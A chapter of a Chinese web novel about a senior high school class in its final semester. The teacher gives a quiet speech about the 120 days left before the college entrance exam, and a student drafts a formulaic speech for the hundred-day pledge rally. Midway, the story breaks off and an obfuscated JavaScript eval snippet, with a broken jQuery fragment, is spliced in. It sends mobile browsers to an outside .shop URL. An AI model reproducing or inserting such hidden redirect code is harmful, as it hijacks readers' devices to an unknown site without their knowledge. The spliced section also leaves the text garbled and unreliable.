高三下学期的第一天，张桂兰没有讲新课。
她走进教室的时候，手里没有拿教案。这个细节宋星燃注意到了——张桂兰教了二十年高三，她的教案是手写的，A4纸对折，左边知识点右边例题，从不离手。
但今天没有。
她把教室前门关上。走到讲台中间，没有撑着讲桌——两只手垂在身侧，看了全班一圈。
那个眼神不是巡视，也不是打量。就是看——很安静地看了一遍每个人的脸。像一个人走进坐满她带了两年半的学生的教室，想记住他们现在的样子。
"新学期好。"
没有人鼓掌。一班的学生知道张桂兰不需要鼓掌。
"我跟你们说三件事。"
她伸出一根手指。
"第一。寒假前全市联考的成绩我收到了。你们每一个人的成绩单我都看了——不是班主任看总表那种看法，是一张一张看的。"
她的语气比平时慢了一点。不是拖——是沉。
"我知道有人进步了，有人没有。有人寒假做了四十套卷子，有人可能连寒假作业都没写完。没进步的不丢人——一轮复习刚结束，你们的知识体系刚搭起来，到处都是缝。有人能看到缝在哪里，有人还看不到。看不到不等于没有。不要急。"
宋星燃注意到她说"不要急"的时候，声音比前面轻了一点。不是刻意压低的——是这三个字她说了二十年，说成了本能。
教室里很安静。不是那种被吓出来的安静。是那种在听的安静。
"第二。"
第二根手指。
"一百二十天。"
她停了一秒。让这个数字自己落下去。
"一百二十天很长。长到够你把理综六本教材从头翻到尾——不是刷题，是翻。翻到哪一页你停下来想'这个我之前没注意'——那一页就是你这学期的分。"
"长到够你背完三千五百个英语单词——不是从abandon开始，是从你现在停下来的地方开始。"
"长到够你把数学最后一道大题的前两问练到不出错——不是第三问。前两问就够了。第三问你可以不会，不会不丢人。但前两问是送你的分。"
她看着全班。
"一百二十天也很短。短到不够你从头学一遍物理。不够你把高一高二混过去的日子全补回来。不够你在每一科上都'从头再来'。"
"所以从今天开始——做你能做的。别做你做不了的。先把能做的那部分拿稳。"
苏晚柠握笔的手松了一下。不是紧张——是这句话正好落在一个她已经想了很久的问题上。
"第三。"
张桂兰拿起粉笔，在黑板上写了两个字。不是"高考"，不是"加油"。
"值了。"
她把粉笔放回槽里。
"六月八号下午，你们交了最后一科卷子，走出考场——你们不用跟任何人交代。不用跟你爸妈交代，不用跟我交代。"
"你只需要跟自己交代。"
她转过身，用粉笔在"值了"两个字下面划了一道横线。不是圈——是一道稳稳的横线。
"不是'完了回去还要估分'。如果你脑子里冒出来的是'完了'——那这一百二十天就白过了。"
"如果你脑子里冒出来的是'值了'——"
她顿了顿。
"那就值了。不管分数是多少。因为这一百二十天里你能做的你都做了。多一分算赚的，少一分不欠谁的。"
教室后排有人吸了一下鼻子。没人回头。
张桂兰拍了拍手上的粉笔灰。动作很轻，粉笔灰落在讲台边缘，细细的一层白。
"好了。今天不加班。早自习正常上。课代表把寒假作业收一下——没做完的自己补，补完了再交。"
她转身往外走。走到门口的时候停了一下。
一班的安静维持了半秒。然后张桂兰没有回头，推门出去了。
赵磊从前排扭过头，朝宋星燃挤了一下眼睛。意思是：这学期要动真格的了。宋星燃没理他。
苏晚柠没有回头。但她握笔的手停了一下。
开学第一周的节奏和上学期完全不一样。
不是快了——是紧了。像一根绳子，上学期还能用手指拨一拨，这学期被拧到了最紧。每个人都知道一百二十天意味着什么——那不是时间，是绳子。
二轮复习在第一周就开始了。各科老师轮流发了一套卷子，说是"诊断性测试"——不记分，但每题都要做，做完自己查答案，错题当天订正。化学杨老师发卷子的时候说了一句"这卷子你要是能拿九十以上，高考化学你就不用怕了"，然后全班都在用最快的速度写。
李可拿到化学卷子的时候没有犹豫——直接翻到最后一页，从大题开始做。宋星燃注意到了这个细节：上学期她是从第一页开始按顺序做的。他在心里记了一笔：她的化学策略变了，不再怕了。
苏晚柠的课桌重新摆了一遍。她把英语词汇书放在左上角，理综错题本放右上角，中间是当天要做的卷子。左边是输入，右边是输出——这个摆法她以前没有过。是她自己琢磨出来的。
赵磊桌上的那张纸换了。六个方框还在，但每个方框下面多了几行小字——不是物理公式，是语文的古诗文默写易错字。"落霞与孤鹜齐飞"的"鹜"旁边标注了拼音和部首。他的复习方式从"只盯着一个科目"变成了"每一科都给一点时间"，和宋星燃那天在走廊里说的话一模一样。
第二周的星期五，早自习下课的时候张桂兰从宋星燃桌边过，用指节敲了一下桌角。
"下午放学来办公室。"
她没停步，说完就走出去了。
赵磊从旁边探过头："又——"
"闭嘴。"
赵磊闭嘴了。
高三年级的办公室在四楼最东边。走廊尽头有一扇窗户，窗台上放着两盆绿萝——快死了，叶子黄了一半，盆里的土干得裂了口子。没有人浇水，高三的老师比高三的学生还忙。
张桂兰的办公桌在靠窗第三个。桌上摞着三摞东西——最左边是批完的作业本，中间是没批的卷子，最右边是各种通知文件和表格。一台老式电脑的屏幕保护程序在转——十几年前的Windows屏保，彩色管道在黑色背景上绕来绕去。
张桂兰坐在椅子上，手里拿着一份文件。看见宋星燃进来，她用下巴指了一下旁边那把空椅子。
"坐。"
宋星燃坐下。椅子有点矮，他的视线比张桂兰低了半个头。
张桂兰把文件翻了一页，没直接说话。宋星燃也不急——他认识张桂兰够久了，知道她不是在拖，是在组织语言。张桂兰说话从来不拖，但重要的事她会先在脑子里过一遍。
过了大约十秒钟。
"二月二十七号，学校要办百日誓师大会。"
宋星燃点了点头。他知道这个。上一世也办了——高三的传统项目。全校高三学生集合在操场上，拉横幅，喊口号，请学生代表上台发言。上一世的学生代表是年级第三——不是他，他上一世的成绩不值得被选中。
"学校商量过了。"张桂兰把文件放在桌上，"今年的学生代表是你。"
宋星燃没有马上回答。
"全市联考成绩摆在那里。年级第一，全市十八名——远安一中最好的成绩。你来做这个发言，不只是代表你自己。"
"代表学校？"
"代表所有人。"张桂兰看着他的眼睛，"考得好的、考得不好的、还在努力的和已经想放弃的——你都要代表。"
这句话很重。宋星燃知道张桂兰不是随便说的——"已经想放弃的"，她说这句话的时候语气特别平，像是在说一个客观存在的事实，不是在批评谁。
"发言时间是七到十分钟。"张桂兰继续说，"内容你自己定。学校不审稿——但王校长会坐在第一排。"
"行了。"张桂兰把转椅转回去，面向电脑——在赶人了，"下周一之前把发言稿的框架拿给我看看，不是审——我帮你看一眼。"
宋星燃站起来，走出办公室。
他回到教室的时候，晚自习已经开始了。
高三年级晚上六点半到十点的晚自习是自选的——愿意来就来，不来不记名。但没有人不来。黑板上写着"距高考还有109天"——班长邹成每天下午放学的时候换一次数字。
苏晚柠坐在第三排靠窗的位置，面前摊着英语卷子。李可坐在最后一排，化学"小题狂做"提升篇翻到了中间。赵磊在第三排过道那边，面前的语文必修五翻到了古文单元，他正在用铅笔在页边画圈——背一篇古文圈一篇。
宋星燃走回座位的时候，赵磊先抬了头。
"张老师叫你干嘛？"
"百日誓师，学生代表发言。"
赵磊的笔掉了。不是夸张——是真的从手里滑下去，滚到桌沿，他用拇指挡了一下，笔停住了。
"——发言？"
"发言。"宋星燃把书包放桌上。
苏晚柠从卷子上抬起头。她的眼睛亮了一下——不是惊讶，是那种"果然"的光。全市联考年级第一、全市第十八，学生代表不是他才是怪事。
"想好怎么写了吗？"
"了然于胸。"
苏晚柠看了他半秒——她认识他的时间够久了，知道这个语气不是在吹牛。她低下头继续写卷子。
赵磊还在消化。"所以在全校面前——站在旗杆台子上——"
"是的。"
"对着八百个人讲话——"
"赵磊。"</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646837|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
"干嘛。"
"你的笔掉了。"
赵磊低头捡笔。嘴里嘟囔了一句什么，宋星燃没听清。大概不是好话。
李可全程没有抬头。她的笔在化学方程式中间停了一下——停了一拍，然后落下去，继续写。
宋星燃坐回座位上。他把书包里的笔记本拿出来，翻到空白一页。圆珠笔在纸上点了一下，留下一个针尖大的蓝点。
发言稿。
他写了这两个字。然后停了大概三秒。
了然于胸。他刚才不是随口说的。
他把笔放下了。
晚上十点，熄灯。
一班的人陆续走了。赵磊是倒数第三个——先把桌上的方框折好夹进语文必修五里，再把笔袋拉链拉上，蹬掉椅子，拎着书包走了。苏晚柠从后门出去的时候，朝宋星燃的方向看了一眼。没说话。
宋星燃是最后一个走的——确切地说，他没有走。他把前后灯都关了，只留下自己桌上的那盏台灯。宿舍十点半关门，他有二十分钟。笔记本翻到写了"发言稿"三个字的那一页。
圆珠笔在纸上点了第一个蓝点。
写得很顺。
"尊敬的各位领导、老师，亲爱的同学们——"
这个开头他写过无数次。高一竞选班委用这个开头，期中总结班会发言用这个开头，每一篇语文考试的应用文都用这个开头。稳。挑不出错。
接下来是致敬老师。他用"多少个清晨和深夜"写了一段——不知道张桂兰读到这句会不会觉得假。但没关系，所有誓师发言都这么写。她听过的发言稿比他写过的还多，早就习惯了。
然后是寒窗苦读。十二年的起早贪黑、十二年的伏案苦读、每一个被闹钟叫醒的清晨、每一个挑灯夜战的深夜——他把高中三年能想到的苦都写进去了。写的时候脑子里冒出赵磊寒假骑四十分钟自行车去图书馆的样子。他用圆珠笔点了一下纸，把赵磊从脑子里赶出去——范文就是范文，不能写具体的人。
最后是号召。这是整个发言稿里最好写的部分，也是最难写的部分。好写——因为所有词汇都是现成的。百日竞渡、不负韶华、金榜题名、再创辉煌。把四个词排成两排，中间加一个逗号，节奏就有了。难写——因为写到这一句的时候，他脑子里什么都没有。没有一个具体的画面，没有一个人的脸。
十五分钟。
一篇学生代表发言稿，十五分钟写完了。
宋星燃把纸举起来看了一遍，然后放下了。
四平八稳。
挑不出一点错。
圆珠笔在最后一个感叹号上点了一下。他盯着那四个词——百日竞渡、不负韶华。然后他把纸折了两折——不是撕，是折——夹进笔记本里。
熄了台灯。走出去。
走廊里很暗。安全出口的绿色指示灯是唯一的光源。宋星燃从四楼走下去——高三楼是独立的一栋，晚上的走廊上只有他自己的脚步声。他走了两层台阶，在二楼到一楼之间的楼梯拐角停下来。
墙上贴着一张旧的红纸——是上学期贴的，纸角卷边了，毛笔字写着"拼搏"两个字。墨迹淡了，但纸没掉。不知道谁贴的。
他站了两秒，继续往下走。
星期一。
下午放学后，宋星燃去了办公室。
张桂兰刚接完一杯水，转椅上还有余温。她把水杯放到桌上，没有坐下——站着接过宋星燃递来的那张纸。
看了大概两分钟。
两分钟里她做了三件事：扶了一下眼镜，翻了一页，在第一段旁边用铅笔打了个勾。那个勾很小，宋星燃差点没看见。
然后她把纸还给他。
"行。就按这个写。"
宋星燃接过纸。
"没了？"
张桂兰端起水杯——没喝，捧在手里。"你想听什么？写的很好？"
她吹了一下水面。
"写的很好。"
语气很平，跟念课文差不多。
张桂兰转过身，把桌上的一摞卷子往左边挪了一下——那个动作意味着今天的对话结束了，你可以回教室了。
宋星燃走出去，到门口的时候看了一眼手里那张纸。四平八稳，挑不出一个错。
他应该觉得踏实。
但他脑子里冒出的是赵磊寒假骑四十分钟自行车去图书馆的样子。是苏晚柠在自习室桌前把英语词汇书放左边、理综错题本放右边的摆法。是李可用脚尖在沙坑旁边画的那五步起跑线。
这些跟他的范文没有关系。
范文里没有他们。
他把纸折好夹进笔记本，往教室走。走廊里开始有人——高一的吃完饭往回走，有人手里还拿着饭卡。三月的远安天黑得比冬天晚了一点，走廊尽头的窗户外面有一层薄薄的橙红色。